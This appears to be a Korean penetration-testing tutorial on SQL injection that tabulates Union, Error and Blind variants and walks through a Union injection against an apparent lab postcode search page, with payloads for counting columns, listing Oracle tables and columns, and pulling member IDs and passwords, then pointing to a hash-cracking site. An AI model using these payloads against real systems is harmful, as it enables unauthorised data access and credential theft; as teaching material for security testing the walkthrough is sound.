SQL Injection이란?
[모의해킹] - SQL Injection 공격(Union, Error, Blind...)
SQL Injection은 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문 생성 및 실행에 사용하는 경우, 쿼리의 구조와 의미가 변경되어 실행되는 것을 뜻합니다. 권한 밖의 데이터에 접근이 가능하고, DBMS 시스템의 제어권을 탈취할 수 있으며, 쿼리를 통해 제공할 기능을 우회 또는 오용이 가능합니다.
종류 | 난이도 | 발생빈도 | 발생조건 |
Union SQL Injection | 쉬움 | 보통 | 검색한 결과를 확인 가능한 페이지 존재시 |
Error Based SQL Injection | 보통 | 보통 | DB 에러가 출력되는 페이지 존재시 |
Blind SQL Injection | 어려움 | 높음 | SQL 쿼리에 변수가 있는 모든 페이지 |
Union SQL Injection
Union SQL Injection은 쿼리 결과가 페이지에 값으로 출력되는 곳에서 진행하는데, 대표적인 예로는 우편번호 검색 페이지가 있습니다.
** Union 연산자는 기존의 SELECT 쿼리에 추가로 SELECT 쿼리를 삽입하여 데이터를 얻어내는 형태로 2개 이상의 쿼리를 연결해주는 연산자입니다. 공격자는 Union 연산자를 사용하여 원래의 쿼리 결과에 추가적인 정보를 포함시킬 수 있습니다.
- 출력하는 컬럼 수가 동일해야 함
- 컬럼은 각 순서별로 동일한 데이터형식 이어야 함
(1) 테이블에 몇 개의 컬럼이 있는지 조회(컬럼 수 추출)
두개의 SELECT 쿼리 컬럼 수가 동일해야하므로, UNION 쿼리를 작성하기 전에 컬럼 개수를 확인해야합니다.
ORDER BY : 데이터 정렬, 컬럼 순서 값을 순차적으로 증가시켜 컬럼 개수를 확인
[입력] 대치동' or 'a'='a' order by 3 --
=> order by 1 또는 2 또는 3 인 경우, 아래 대치동 우편번호가 출력됨
=> 4번째 컬럼에 대해 정렬을 시도하면 컬럼 개수가 부족하여 에러발생
=> 즉, 컬럼 개수는 3개
(2) 데이터베이스 정보 중 테이블명 조회
[입력] ' union select null, null, table_name from all_tables-- (★ 맨 앞에 공백있음)
=> 전체 테이블 목록 추출
=> 데이터 획득을 원하는 테이블을 선택 : TEST, LHSMOBILEMEMBER, LHSMEMBER3
(3) 테이블의 컬럼 정보 조회
(3)-1. TEST 테이블의 정보 조회
[입력] ' union select null,column_name,table_name from all_tab_columns where table_name='TEST' --
(★ 맨 앞에 공백있음)
=> TEST 테이블의 컬럼은 ID, NUM, STR_NUM
(3)-2. LHSMOBILEMEMBER 테이블의 정보 조회
[입력]
' union select null,column_name,table_name from all_tab_columns where table_name='LHSMOBILEMEMBER' --
(★ 맨 앞에 공백있음)
=> LHSMOBILEMEMBER 테이블의 컬럼은 FAILCOUNT, ID, INITPW, MOBILEID, NAME, PW
(3)-3. LHSMEMBER3 테이블의 정보 조회
[입력]
' union select null,column_name,table_name from all_tab_columns where table_name='LHSMEMBER3' --
(★ 맨 앞에 공백있음)
(4) 컬럼 값 조회
(4)-1. TEST 테이블의 컬럼 값 조회
[입력] ' union select NUM, ID, STR_NUM FROM TEST -- (★ 맨 앞에 공백있음)
(4)-2. LHSMOBILEMEMBER 테이블의 컬럼 값 조회
[입력] ' union select NULL, ID, PW FROM LHSMOBILEMEMBER-- (★ 맨 앞에 공백있음)
[입력] ' union select NULL, MOBILEID, NAME FROM LHSMOBILEMEMBER-- (★ 맨 앞에 공백있음)
(4)-3. LHSMEMBER3 테이블의 컬럼 값 조회
[입력] ' union select NULL, ID, PW FROM LHSMEMBER3-- (★ 맨 앞에 공백있음)
(추가) 패스워드 크래킹
패스워드 크래킹 사이트 : https://crackstation.net/
↓ ↓ 패스워드 크래킹 결과↓ ↓